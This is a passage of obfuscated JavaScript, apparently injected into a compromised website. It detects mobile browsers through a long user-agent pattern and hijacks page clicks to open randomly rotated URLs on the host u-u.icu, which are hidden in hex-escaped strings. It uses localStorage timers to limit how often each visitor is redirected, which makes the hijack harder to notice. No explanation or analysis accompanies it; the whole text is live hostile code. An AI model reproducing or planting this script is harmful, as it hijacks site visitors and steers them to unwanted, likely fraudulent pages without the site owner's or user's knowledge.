_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());